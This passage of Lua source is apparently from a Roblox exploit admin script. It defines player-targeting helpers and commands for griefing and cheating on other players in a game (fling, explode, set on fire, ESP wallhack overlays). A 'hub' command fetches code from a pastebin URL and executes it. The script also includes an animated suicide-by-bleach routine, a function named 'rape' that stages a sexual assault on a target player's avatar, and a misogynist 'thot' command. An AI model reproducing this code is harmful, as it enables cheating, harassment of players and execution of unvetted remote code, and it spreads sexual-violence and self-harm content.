Ex:[;kill %green] local returns = {} local team = args[1] for _,plr in pairs(game:GetService("Players"):GetPlayers()) do if plr.Team and string.sub(string.lower(plr.Team.Name),1,#team) == string.lower(team) then table.insert(returns,plr) end end return returns end, ["allies"] = function(speaker) local returns = {} local team = speaker.Team for _,plr in pairs(game:GetService("Players"):GetPlayers()) do if plr.Team == team then table.insert(returns,plr) end end return returns end, ["enemies"] = function(speaker) local returns = {} local team = speaker.Team for _,plr in pairs(game:GetService("Players"):GetPlayers()) do if plr.Team ~= team then table.insert(returns,plr) end end return returns end, ["team"] = function(speaker) local returns = {} local team = speaker.Team for _,plr in pairs(game:GetService("Players"):GetPlayers()) do if plr.Team == team then table.insert(returns,plr) end end return returns end, ["nonteam"] = function(speaker) local returns = {} local team = speaker.Team for _,plr in pairs(game:GetService("Players"):GetPlayers()) do if plr.Team ~= team then table.insert(returns,plr) end end return returns end, ["friends"] = function(speaker,args) local returns = {} for _,plr in pairs(game:GetService("Players"):GetPlayers()) do if plr:IsFriendsWith(speaker.UserId) and plr ~= speaker then table.insert(returns,plr) end end return returns end, ["nonfriends"] = function(speaker,args) local returns = {} for _,plr in pairs(game:GetService("Players"):GetPlayers()) do if not plr:IsFriendsWith(speaker.UserId) and plr ~= speaker then table.insert(returns,plr) end end return returns end, ["bacons"] = function(speaker,args) local returns = {} for _,plr in pairs(game:GetService("Players"):GetPlayers()) do if plr.Character:FindFirstChild('Pal Hair') or plr.Character:FindFirstChild('Kate Hair') then table.insert(returns,plr) end end return returns end, ["admins"] = function(speaker) local returns = {} for _,plr in pairs(game:GetService("Players"):GetPlayers()) do if isAdmin(plr) then table.insert(returns,plr) end end return returns end, ["nonadmins"] = function(speaker) local returns = {} for _,plr in pairs(game:GetService("Players"):GetPlayers()) do if not isAdmin(plr) then table.insert(returns,plr) end end return returns end, ["age(%d+)"] = function(speaker,args) local returns = {} local age = tonumber(args[1]) if not age == nil then return end for _,plr in pairs(game:GetService("Players"):GetPlayers()) do if plr.AccountAge <= age then table.insert(returns,plr) end end return returns end, ["rad(%d+)"] = function(speaker,args) local returns = {} local radius = tonumber(args[1]) local speakerChar = speaker.Character if not speakerChar or not speakerChar:FindFirstChild("HumanoidRootPart") then return end for _,plr in pairs(game:GetService("Players"):GetPlayers()) do if plr.Character and plr.Character:FindFirstChild("HumanoidRootPart") then local magnitude = (plr.Character:FindFirstChild("HumanoidRootPart").Position-speakerChar.HumanoidRootPart.Position).magnitude if magnitude <= radius then table.insert(returns,plr) end end end return returns end } local function toTokens(str) local tokens = {} for op,name in string.gmatch(str,"([+-])([^+-]+)") do table.insert(tokens,{Operator = op,Name = name}) end return tokens end local function onlyIncludeInTable(tab,matches) local matchTable = {} local resultTable = {} for i,v in pairs(matches) do matchTable[v.Name] = true end for i,v in pairs(tab) do if matchTable[v.Name] then table.insert(resultTable,v) end end return resultTable end local function removeTableMatches(tab,matches) local matchTable = {} local resultTable = {} for i,v in pairs(matches) do matchTable[v.Name] = true end for i,v in pairs(tab) do if not matchTable[v.Name] then table.insert(resultTable,v) end end return resultTable end local function getPlayersByName(name) local found = {} for i,v in pairs(game:GetService("Players"):GetChildren()) do if string.sub(string.lower(v.Name),1,#name) == string.lower(name) then table.insert(found,v) end end return found end local function getPlayer(list,speaker) if list == nil then return {speaker.Name} end local nameList = splitString(list,",") local foundList = {} for _,name in pairs(nameList) do if string.sub(name,1,1) ~= "+" and string.sub(name,1,1) ~= "-" then name = "+"..name end local tokens = toTokens(name) local initialPlayers = game:GetService("Players"):GetPlayers() for i,v in pairs(tokens) do if v.Operator == "+" then local tokenContent = v.Name local foundCase = false for regex,case in pairs(SpecialPlayerCases) do local matches = {string.match(tokenContent,"^"..regex.."$")} if #matches > 0 then foundCase = true initialPlayers = onlyIncludeInTable(initialPlayers,case(speaker,matches)) end end if not foundCase then initialPlayers = onlyIncludeInTable(initialPlayers,getPlayersByName(tokenContent)) end else local tokenContent = v.Name local foundCase = false for regex,case in pairs(SpecialPlayerCases) do local matches = {string.match(tokenContent,"^"..regex.."$")} if #matches > 0 then foundCase = true initialPlayers = removeTableMatches(initialPlayers,case(speaker,matches)) end end if not foundCase then initialPlayers = removeTableMatches(initialPlayers,getPlayersByName(tokenContent)) end end end for i,v in pairs(initialPlayers) do table.insert(foundList,v) end end local foundNames = {} for i,v in pairs(foundList) do table.insert(foundNames,v.Name) end return foundNames end function fWeld(zName, zParent, zPart0, zPart1, zCoco, A, B, C, D, E, F) local funcw = Instance.new('Weld') funcw.Name = zName funcw.Parent = zParent funcw.Part0 = zPart0 funcw.Part1 = zPart1 if (zCoco) then funcw.C0 = CFrame.new(A, B, C) * CFrame.fromEulerAnglesXYZ(D, E, F) else funcw.C1 = CFrame.new(A, B, C) * CFrame.fromEulerAnglesXYZ(D, E, F) end return funcw end function _G.msg(txt) spawn(function() msghook() if MSGhook == true then workspace.IYmessage.Text = '' wait(0.1) local b = Instance.new("BlurEffect", LightingService) b.Name = "IYmblur" b.Size = 18 workspace.IYmessage.Text = txt wait(Mseconds) b:Destroy() if workspace.IYmessage.Text == txt then workspace.IYmessage.Text = '' end elseif MSGhook == false then execCmd("loadm") repeat wait() until workspace:FindFirstChild("IYmessage") workspace.IYmessage.Text = '' wait(0.1) local b = Instance.new("BlurEffect", LightingService) b.Name = "IYmblur" b.Size = 18 workspace.IYmessage.Text = txt wait(Mseconds) b:Destroy() if workspace.IYmessage.Text == txt then workspace.IYmessage.Text = '' end end end) end function bleach(plr) spawn(function() local char = plr.Character local hit1 = Instance.new("Sound", workspace) hit1.SoundId = "http://roblox.com/asset?id=145486953" local hit = Instance.new("Sound", workspace) hit.SoundId = "http://roblox.com/asset?id=178646271" local Bleach = Instance.new("Part", char["Left Arm"]) Bleach.CanCollide = false local Mesh = Instance.new("SpecialMesh", Bleach) Mesh.MeshId = "http://roblox.com/asset?id=483388971" Mesh.Scale = Vector3.new(0.005, 0.005, 0.005) Mesh.TextureId = "http://roblox.com/asset?id=520016684" local Handy = Instance.new("Weld", Bleach) Handy.Part0 = Bleach Handy.Part1 = char["Left Arm"] Handy.C0 = CFrame.new(0.5,1.8,0) Handy.C1 = CFrame.Angles(0,4,1) local drink = Instance.new("Sound", char.Head) drink.SoundId = "http://roblox.com/asset?id=10722059" wait(3) game.Chat:Chat(char.Head,"I need to die","Red") for i = 1,10 do wait() char.HumanoidRootPart.RootJoint.C0 = char.HumanoidRootPart.RootJoint.C0 * CFrame.Angles(-0.018,0,0) Handy.C0 = Handy.C0 * CFrame.new(-0.05,-0.07,0.09) Handy.C0 = Handy.C0 * CFrame.Angles(0.12,0,0) char.Torso["Left Shoulder"].C0 = char.Torso["Left Shoulder"].C0 * CFrame.Angles(0.2,0,-0.1) end drink:Play() wait(3.4) drink:Stop() for i = 1,10 do wait() char.HumanoidRootPart.RootJoint.C0 = char.HumanoidRootPart.RootJoint.C0 * CFrame.new(0,-0.50,0) char.HumanoidRootPart.RootJoint.C0 = char.HumanoidRootPart.RootJoint.C0 * CFrame.Angles(0.175,0,0) Handy.C0 = Handy.C0 * CFrame.new(0.05,0.07,-0.09) Handy.C0 = Handy.C0 * CFrame.Angles(-0.1,0,0) char.Torso["Left Shoulder"].C0 = char.Torso["Left Shoulder"].C0 * CFrame.Angles(-0.15,-0.04,0.2) char.Torso["Right Shoulder"].C0 = char.Torso["Right Shoulder"].C0 * CFrame.Angles(-0.05,0.03,0) char.Torso["Right Hip"].C0 = char.Torso["Right Hip"].C0 * CFrame.Angles(-0.02,0,0) char.Torso["Left Hip"].C0 = char.Torso["Left Hip"].C0 * CFrame.Angles(-0.01,0,0) end wait(0.01) char.Torso.Anchored = true char["Left Arm"].Anchored = true char["Right Arm"].Anchored = true char["Left Leg"].Anchored = true char["Right Leg"].Anchored = true char.Head.Anchored = true hit:Play() hit1:Play() wait(4) local bl00d = Instance.new("Part", char.Head) bl00d.Size = Vector3.new(0.1,0.1,0.1) bl00d.Rotation = Vector3.new(0,0,-90) bl00d.CanCollide = false bl00d.Anchored = true bl00d.BrickColor = BrickColor.new("Maroon") bl00d.Position = char.Head.Position bl00d.CFrame = bl00d.CFrame * CFrame.new(0.43,-0.65,0) bl00d.Shape = "Cylinder" bl00d.Material = "Pebble" for i = 1,100 do wait() bl00d.Size = bl00d.Size + Vector3.new(0,0.05,0.05) end wait(1) char.Humanoid.Health = 0 end) end function rape(victim, speaker) -- from rocky2u cmdscript spawn(function() local P1 = speaker.Character.Torso local V1 = _players[victim].Character.Torso V1.Parent.Humanoid.PlatformStand = true P1['Left Shoulder']:destroy() local LA1 = Instance.new('Weld', P1) LA1.Part0 = P1 LA1.Part1 = P1.Parent['Left Arm'] LA1.C0 = CFrame.new(-1.5, 0, 0) LA1.Name = 'Left Shoulder' P1['Right Shoulder']:destroy() local RS1 = Instance.new('Weld', P1) RS1.Part0 = P1 RS1.Part1 = P1.Parent['Right Arm'] RS1.C0 = CFrame.new(1.5, 0, 0) RS1.Name = 'Right Shoulder' V1['Left Shoulder']:destroy() local LS2 = Instance.new('Weld', V1) LS2.Part0 = V1 LS2.Part1 = V1.Parent['Left Arm'] LS2.C0 = CFrame.new(-1.5, 0, 0) LS2.Name = 'Left Shoulder' V1['Right Shoulder']:destroy() local RS2 = Instance.new('Weld', V1) RS2.Part0 = V1 RS2.Part1 = V1.Parent['Right Arm'] RS2.C0 = CFrame.new(1.5, 0, 0) RS2.Name = 'Right Shoulder' V1['Left Hip']:destroy() local LH2 = Instance.new('Weld', V1) LH2.Part0 = V1 LH2.Part1 = V1.Parent['Left Leg'] LH2.C0 = CFrame.new(-0.5, -2, 0) LH2.Name = 'Left Hip' V1['Right Hip']:destroy() local RH2 = Instance.new('Weld', V1) RH2.Part0 = V1 RH2.Part1 = V1.Parent['Right Leg'] RH2.C0 = CFrame.new(0.5, -2, 0) RH2.Name = 'Right Hip' local D = Instance.new('Part', P1) D.TopSurface = 0 D.BottomSurface = 0 D.CanCollide = false D.BrickColor = BrickColor.new('Pastel brown') D.Shape = 'Ball' D.Size = Vector3.new(1, 1, 1) local DM1 = Instance.new('SpecialMesh', D) DM1.MeshType = 'Sphere' DM1.Scale = Vector3.new(0.4, 0.4, 0.4) fWeld('weld', P1, P1, D, true, -0.2, -1.3, -0.6, 0, 0, 0) local D2 = D:Clone() D2.Parent = P1 fWeld('weld', P1, P1, D2, true, 0.2, -1.3, -0.6, 0, 0, 0) local C = Instance.new('Part', P1) C.TopSurface = 0 C.BottomSurface = 0 C.CanCollide = false C.BrickColor = BrickColor.new('Pastel brown') C.Size = Vector3.new(0.4, 1.3, 0.4) fWeld('weld', P1, P1, C, true, 0, -1, -0.52 + (-C.Size.y / 2), math.rad(-80), 0, 0) local C2 = D:Clone() C2.BrickColor = BrickColor.new('Pink') C2.Mesh.Scale = Vector3.new(0.4, 0.62, 0.4) C2.Parent = P1 fWeld('weld', C, C, C2, true, 0, 0 + (C.Size.y / 2), 0, math.rad(-10), 0, 0) local CM = Instance.new('CylinderMesh', C) local BL = Instance.new('Part', V1) BL.TopSurface = 0 BL.BottomSurface = 0 BL.CanCollide = false BL.BrickColor = BrickColor.new('Pastel brown') BL.Shape = 'Ball' BL.Size = Vector3.new(1, 1, 1) local DM2 = Instance.new('SpecialMesh', BL) DM2.MeshType = 'Sphere' DM2.Scale = Vector3.new(1.2, 1.2, 1.2) fWeld('weld', V1, V1, BL, true, -0.5, 0.5, -0.6, 0, 0, 0) local BR = Instance.new('Part', V1) BR.TopSurface = 0 BR.BottomSurface = 0 BR.CanCollide = false BR.BrickColor = BrickColor.new('Pastel brown') BR.Shape = 'Ball' BR.Size = Vector3.new(1, 1, 1) local DM3 = Instance.new('SpecialMesh', BR) DM3.MeshType = 'Sphere' DM3.Scale = Vector3.new(1.2, 1.2, 1.2) fWeld('weld', V1, V1, BR, true, 0.5, 0.5, -0.6, 0, 0, 0) local BLN = Instance.new('Part', V1) BLN.TopSurface = 0 BLN.BottomSurface = 0 BLN.CanCollide = false BLN.BrickColor = BrickColor.new('Pink') BLN.Shape = 'Ball' BLN.Size = Vector3.new(1, 1, 1) local DM4 = Instance.new('SpecialMesh', BLN) DM4.MeshType = 'Sphere' DM4.Scale = Vector3.new(0.2, 0.2, 0.2) fWeld('weld', V1, V1, BLN, true, -0.5, 0.5, -1.2, 0, 0, 0) local BRN = Instance.new('Part', V1) BRN.TopSurface = 0 BRN.BottomSurface = 0 BRN.CanCollide = false BRN.BrickColor = BrickColor.new('Pink') BRN.Shape = 'Ball' BRN.Size = Vector3.new(1, 1, 1) local DM5 = Instance.new('SpecialMesh', BRN) DM5.MeshType = 'Sphere' DM5.Scale = Vector3.new(0.2, 0.2, 0.2) fWeld('weld', V1, V1, BRN, true, 0.5, 0.5, -1.2, 0, 0, 0) LH2.C1 = CFrame.new(0.2, 1.6, 0.4) * CFrame.Angles(3.9, -0.4, 0) RH2.C1 = CFrame.new(-0.2, 1.6, 0.4) * CFrame.Angles(3.9, 0.4, 0) LS2.C1 = CFrame.new(-0.2, 0.9, 0.6) * CFrame.Angles(3.9, -0.2, 0) RS2.C1 = CFrame.new(0.2, 0.9, 0.6) * CFrame.Angles(3.9, 0.2, 0) LA1.C1 = CFrame.new(-0.5, 0.7, 0) * CFrame.Angles(-0.9, -0.4, 0) RS1.C1 = CFrame.new(0.5, 0.7, 0) * CFrame.Angles(-0.9, 0.4, 0) if P1:FindFirstChild('weldx') then P1.weldx:destroy() end WE = fWeld('weldx', P1, P1, V1, true, 0, -0.9, -1.3, math.rad(-90), 0, 0) local N = V1.Neck N.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(-210), math.rad(180), 0) end) spawn(function() while wait() do for i = 1, 6 do WE.C1 = WE.C1 * CFrame.new(0, -0.3, 0) end for i = 1, 6 do WE.C1 = WE.C1 * CFrame.new(0, 0.3, 0) end end end) end addcmd('addalias','Adds an alias to a command',{}, function(args,speaker) if #args < 2 then return end local cmd = string.lower(args[1]) local alias = string.lower(args[2]) for i,v in pairs(cmds) do if v.NAME:lower()==cmd or std.inTable(v.ALIAS,cmd) then customAlias[alias] = v Notify("Added "..alias.." as an alias to "..cmd) updatefile() break end end end) addcmd('removealias','Removes a custom alias',{}, function(args,speaker) if #args < 1 then return end local alias = string.lower(args[1]) if customAlias[alias] then local cmd = customAlias[alias].NAME customAlias[alias] = nil Notify("Removed the alias "..alias.." from "..cmd) updatefile() end end) addcmd('s','runs a script in the chat or cmdbar',{'script'}, function(args, speaker) loadstring(tostring(GLS(false, 0)))() end) function hub() if not game.CoreGui:FindFirstChild('ScriptHub') then loadstring(game:HttpGet(('https://pastebin.com/raw/VvDQgSZT'),true))() end end addcmd('hub','opens script hub',{'scripts'}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else hub() end end) addcmd('ff','gives ff to player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) Instance.new("ForceField", pchar) end end) addcmd('rocket','attaches a player to a rocket',{'missile'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) spawn(function() local m = missile:Clone() m.Parent = workspace local W = Instance.new('Weld', m) W.Part0 = W.Parent W.Part1 = pchar.HumanoidRootPart W.C1 = CFrame.new(0, 0.5, 1) m.force.Force = Vector3.new(0, 15000, 0) wait(0.01) pchar.HumanoidRootPart.CFrame = pchar.HumanoidRootPart.CFrame * CFrame.new(0, 5, 0) wait(5) Instance.new('Explosion', m).Position = m.Position wait(0.01) pchar:BreakJoints() wait(1) m:destroy() end) end end) addcmd('rejoin','makes you rejoin the game',{'rj'}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else game:GetService('TeleportService'):Teleport(game.PlaceId) end end) addcmd('unff', 'takes away ff from player',{'noff'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) for j,v1 in pairs(pchar:GetChildren()) do if v1:IsA("ForceField") then v1:Destroy() end end end end) addcmd('insert', 'inserts a model',{'ins'}, function(args, speaker) local modelid = args[1] local model = game:GetObjects("rbxassetid://" .. modelid)[1] model.Parent = workspace model.Name = "IYmodel" model:MakeJoints() model:MoveTo(speaker.Character.HumanoidRootPart.Position) local Asset = game:GetService("MarketplaceService"):GetProductInfo(modelid) Notify('Inserted ' .. Asset.Name) end) addcmd('car', 'inserts a car',{'vehicle'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) local model = game:GetObjects("rbxassetid://01172688590")[1] model.Parent = workspace model:MakeJoints() model:MoveTo(pchar.HumanoidRootPart.Position + Vector3.new(5, 5, 0)) model.Name = "IYcar" .. gPlayers[v].Name end end) addcmd('uncar', 'removes a players car',{'unvehicle','nocar','novehicle'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do for _, child in pairs( workspace:GetChildren()) do if child.Name == "IYcar" .. gPlayers[v].Name then child:Destroy() end end end end) addcmd('team','team [plr] [team]',{}, function(args, speaker) local players = getPlayer(args[1], speaker) local teamname = nil for i,v in pairs(players)do for a,b in pairs(game.Teams:GetChildren()) do local L_name = b.Name:lower() local F = L_name:find(GLS(true, 1)) if F == 1 then teamname = b end end _players[v].Team = teamname end end) addcmd('maxzoom','maximum camera zoom',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do _players[v].CameraMaxZoomDistance = args[2] end end) function spawnrain(mesh,texture) spawn(function() for i,v in pairs(gPlayers:GetChildren()) do if v.Character and v:FindFirstChild('HumanoidRootPart') then if raining == true then local rain = Instance.new("Part",workspace) rain.CanCollide = true local m = Instance.new("SpecialMesh",rain) m.MeshId = "http://www.roblox.com/asset/?id="..mesh m.TextureId = "http://www.roblox.com/asset/?id="..texture rain.CFrame = v.Character.HumanoidRootPart.CFrame + Vector3.new(math.random(-250,250),100,math.random(-250,250)) wait(5) rain:Destroy() end end end end) end raining = false addcmd('rain','make it rain a mesh',{}, function(args, speaker) raining = true repeat wait(0.5) spawnrain(args[1],args[2]) until raining == false end) addcmd('norain','make it rain a mesh',{'unrain'}, function(args, speaker) raining = false end) local rad = math.rad addcmd('earthquake','earthquake [power] [intensity]',{}, -- credit to DontAddMeh function(args, speaker) for i = 1,args[1] do wait() local function ear(instance) for i,v in pairs(instance:GetChildren())do if v:IsA("Part") then if v.Size.x > 1 then v.CFrame = CFrame.new(v.Position) * CFrame.Angles(rad(math.random(-args[2],args[2])),rad(math.random(-args[2],args[2])),rad(math.random(-args[2],args[2]))) end end ear(v) end end ear(workspace) end end) addcmd('cape','Gives the target player(s) a cape',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() if _char(v):FindFirstChild("Humanoid") then local plr = _players[v] repeat wait() until plr and plr.Character and plr.Character:FindFirstChild("HumanoidRootPart") local torso = plr.Character.HumanoidRootPart local p = Instance.new("Part", torso.Parent) p.Name = "IYcape" p.Anchored = false p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 if not args[2] then p.Color = Color3.new(1,1,1) p.Color = Color3.new(1,1,1) else p.Color = Color3.new((args[2]),(args[3]),(args[4])) p.Color = Color3.new((args[2]),(args[3]),(args[4])) end p.formFactor = "Custom" p.Size = Vector3.new(.2,.2,.2) local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5) local motor1 = Instance.new("Motor", p) motor1.Part0 = p motor1.Part1 = torso motor1.MaxVelocity = .01 motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0) motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0) local wave = false repeat wait(1/44) local ang = 0.1 local oldmag = torso.Velocity.magnitude local mv = .002 if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end ang = ang + math.min(torso.Velocity.magnitude/11, .5) motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv motor1.DesiredAngle = -ang if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1 if torso.Velocity.magnitude < .1 then wait(.1) end until not p or p.Parent ~= torso.Parent end end) end end) addcmd('uncape','Removes cape',{'nocape'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) for _, child in pairs( pchar:GetChildren()) do if child.Name == "IYcape" then child:Destroy() end end end end) addcmd('spasm','makes someone c r a z y',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) local AnimationId = "33796059" local Anim = Instance.new("Animation") Anim.AnimationId = "rbxassetid://"..AnimationId local k = pchar.Humanoid:LoadAnimation(Anim) k:Play() k:AdjustSpeed(99) end end) addcmd('plrsound','creates a sound inside of someone',{'playersound'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do if not args[1] and args[2] then return end local pchar=_char(v) for _, child in pairs( pchar:GetDescendants()) do if child.ClassName == "Sound" then child:Destroy() end end local s = Instance.new("Sound") s.Name = "IYplrsound" s.SoundId = "http://www.roblox.com/asset/?id=" .. args[2] s.Volume = 1 s.Pitch = 1 s.Looped = true s.archivable = true s.Parent = pchar.HumanoidRootPart s:Play() end end) addcmd('noplrsound','creates a sound inside of someone',{'noplayersound','unplayersound','unplrsound'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do if not args[1] then return end local pchar=_char(v) for _, child in pairs( pchar:GetDescendants()) do if child.ClassName == "Sound" then child:Destroy() end end end end) addcmd('fly','makes you fly',{}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else sFLY() end end) addcmd('flyspeed','set the fly speed',{'flysp'}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else if isNumber(args[1]) then iyflyspeed = args[1] end end end) addcmd('unfly','takes away fly',{'nofly'}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else NOFLY() end end) addcmd('exit','kills roblox process',{}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else game:shutdown() end end) addcmd('fire', 'set a player on fire',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() local pchar=_char(v) local Fire1 = Instance.new("Fire", pchar.Head) local Fire2 = Instance.new("Fire", pchar.HumanoidRootPart) local Fire3 = Instance.new("Fire", pchar["Left Arm"]) local Fire4 = Instance.new("Fire", pchar["Right Arm"]) local Fire5 = Instance.new("Fire", pchar["Left Leg"]) local Fire6 = Instance.new("Fire", pchar["Right Leg"]) if not args[2] then return end Fire1.Color = Color3.new((args[2]),(args[3]),(args[4])) Fire1.SecondaryColor = Color3.new((args[2]),(args[3]),(args[4])) Fire2.Color = Color3.new((args[2]),(args[3]),(args[4])) Fire2.SecondaryColor = Color3.new((args[2]),(args[3]),(args[4])) Fire3.Color = Color3.new((args[2]),(args[3]),(args[4])) Fire3.SecondaryColor = Color3.new((args[2]),(args[3]),(args[4])) Fire4.Color = Color3.new((args[2]),(args[3]),(args[4])) Fire4.SecondaryColor = Color3.new((args[2]),(args[3]),(args[4])) Fire5.Color = Color3.new((args[2]),(args[3]),(args[4])) Fire5.SecondaryColor = Color3.new((args[2]),(args[3]),(args[4])) Fire6.Color = Color3.new((args[2]),(args[3]),(args[4])) Fire6.SecondaryColor = Color3.new((args[2]),(args[3]),(args[4])) end) end end) addcmd('esp', 'view a player and a players status',{}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() for _, child in pairs( game["CoreGui"]:GetChildren()) do if child.Name == gPlayers[v].Name then child:Destroy() end end wait(0.5) local m = game["Players"].LocalPlayer:GetMouse() local rs = game:GetService("RunService").RenderStepped local espplr = gPlayers[v] if espplr.Character and espplr.Name ~= _players.LocalPlayer.Name then for b,n in pairs (espplr.Character:GetChildren()) do if (n:IsA("BasePart")) then local a = Instance.new("BoxHandleAdornment", game.CoreGui) a.Name = espplr.Name a.Adornee = n a.AlwaysOnTop = true a.ZIndex = 0 a.Size = n.Size a.Transparency = 0.7 if espplr.TeamColor == _players.LocalPlayer.TeamColor then a.Color = BrickColor.new("Lime green") else a.Color = BrickColor.new("Really red") end if espplr.Character and espplr.Character:FindFirstChild('Head') then local BillboardGui = Instance.new("BillboardGui", game.CoreGui) local TextLabel = Instance.new("TextLabel") BillboardGui.Adornee = espplr.Character.Head BillboardGui.Name = espplr.Name BillboardGui.Size = UDim2.new(0, 100, 0, 150) BillboardGui.StudsOffset = Vector3.new(0, 1, 0) BillboardGui.AlwaysOnTop = true TextLabel.Parent = BillboardGui TextLabel.BackgroundTransparency = 1 TextLabel.Position = UDim2.new(0, 0, 0, -50) TextLabel.Size = UDim2.new(0, 100, 0, 100) TextLabel.Font = Enum.Font.SourceSansSemibold TextLabel.TextSize = 20 TextLabel.TextColor3 = Color3.new(1, 1, 1) TextLabel.TextStrokeTransparency = 0 TextLabel.TextYAlignment = Enum.TextYAlignment.Bottom espplr.Character.Humanoid.Died:connect(function() BillboardGui:Destroy() a:Destroy() end) _players.PlayerRemoving:connect(function(player) if player.Name == espplr.Name then BillboardGui:Destroy() a:Destroy() end end) game:GetService("RunService").RenderStepped:Connect(function() if espplr.Character and espplr.Character:FindFirstChild('HumanoidRootPart') and espplr.Character:FindFirstChild('Humanoid') and game.CoreGui:FindFirstChild(espplr.Name) then local pos = math.floor((_players.LocalPlayer.Character.HumanoidRootPart.Position - espplr.Character.HumanoidRootPart.Position).magnitude) TextLabel.Text = 'Name: '..espplr.Name..' | Health: '..espplr.Character.Humanoid.Health..' | Studs: '..pos end end) end end end end end) end end end) addcmd('noesp', 'removes esp',{'unesp'}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() for _, child in pairs( game["CoreGui"]:GetChildren()) do if child.Name == gPlayers[v].Name then child:Destroy() end end end) end end end) addcmd('nofire', 'extinguish a player',{'unfire'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) for j,v1 in pairs(pchar:GetDescendants()) do if v1:IsA("Fire") then v1:Destroy() end end end end) addcmd('shiny', 'makes a player shine',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() local pchar=_char(v) for i,v in pairs(pchar:GetChildren()) do if v.ClassName == "Decal" or v.ClassName == "Texture" then v:Remove() end if v.ClassName == "Part" or v.ClassName == "WedgePart" or v.ClassName == "TrussPart" or v.ClassName == "UnionOperation" or v.ClassName == "CornerWedgePart" then v.Reflectance = 1 v.Material = "Plastic" end end end) end end) addcmd('light', 'givs em light',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() local pchar=_char(v) for j,v1 in pairs(pchar.HumanoidRootPart:GetChildren()) do if v1:IsA("PointLight") then v1:Destroy() end end local light = Instance.new("PointLight", pchar.HumanoidRootPart) light.Range = 12 light.Brightness = 3 if not args[2] then return end light.Color = Color3.new((args[2]),(args[3]),(args[4])) light.Range = 12 light.Brightness = 3 end) end end) bottle = game:GetObjects("rbxassetid://01422895508")[1] addcmd('begone', 'BEGONE THOT',{'thot'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() local thotbottle = bottle:Clone() local pchar=_char(v) thotbottle.Name = 'THOT BEGONE' thotbottle.Handle:Destroy() execCmd('freeze '..gPlayers[v].Name) execCmd('name '..gPlayers[v].Name..' THOT') execCmd('spasm '..gPlayers[v].Name) thotbottle.Parent = pchar thotbottle:MoveTo(pchar.HumanoidRootPart.Position + Vector3.new(0, 0, 7)) local cf = pchar.HumanoidRootPart.CFrame local newcf = cf + cf.lookVector * 6 thotbottle.Head.CFrame = newcf local s = Instance.new("Sound") s.Name = "BEGONE" s.SoundId = "http://www.roblox.com/asset/?id=1095911222" s.Volume = 10 s.Parent = thotbottle s:play() local d = Instance.new("Sound") d.Name = "WuOOOH" d.SoundId = "http://www.roblox.com/asset/?id=253143032" d.Volume = 5 d.Parent = pchar wait(3) if gPlayers[v] then execCmd('thaw '..gPlayers[v].Name) execCmd('fling '..gPlayers[v].Name) thotbottle:Destroy() d:play() end if gPlayers[v] then wait(3) execCmd('explode '..gPlayers[v].Name) pchar:BreakJoints() end end) end end) addcmd('glowstick', 'givs em glo stik',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() System = {} System.Create = function(a, c) local e = Instance.new(a) for d, a in pairs(c) do local b, a = ypcall(function() return e[d] end) if b then e[d] = c[d] end end return e end function b(d, b) local c = getfenv(d) local a = setmetatable({}, { __index = function(a, a) if a:lower() == 'script' then return b else return c[a] end end }) setfenv(d, a) ypcall(function() d() end) end c = {} mas = Instance.new("Model",game:GetService("Lighting")) mas.Name = "CompiledModel" o1 = System.Create("Tool",{ ["Name"] = "Glow Stick", ["Parent"] = mas, ["GripPos"] = Vector3.new(0, -0.300000012, 0), ["CanBeDropped"] = false, }) o2 = System.Create("Part",{ ["Name"] = "Handle", ["Parent"] = o1, ["Transparency"] = 0.10000000149012, ["Position"] = Vector3.new(-9.38995171, 2.20000148, 42.3300056), ["Rotation"] = Vector3.new(-180, 0, 0), ["CFrame"] = CFrame.new(-9.38995171, 2.20000148, 42.3300056, 1, 0, 0, 0, -1, 0, 0, 0, -1), ["FormFactor"] = Enum.FormFactor.Custom, ["Size"] = Vector3.new(0.200000033, 1.80000019, 1), ["BottomSurface"] = Enum.SurfaceType.Weld, ["TopSurface"] = 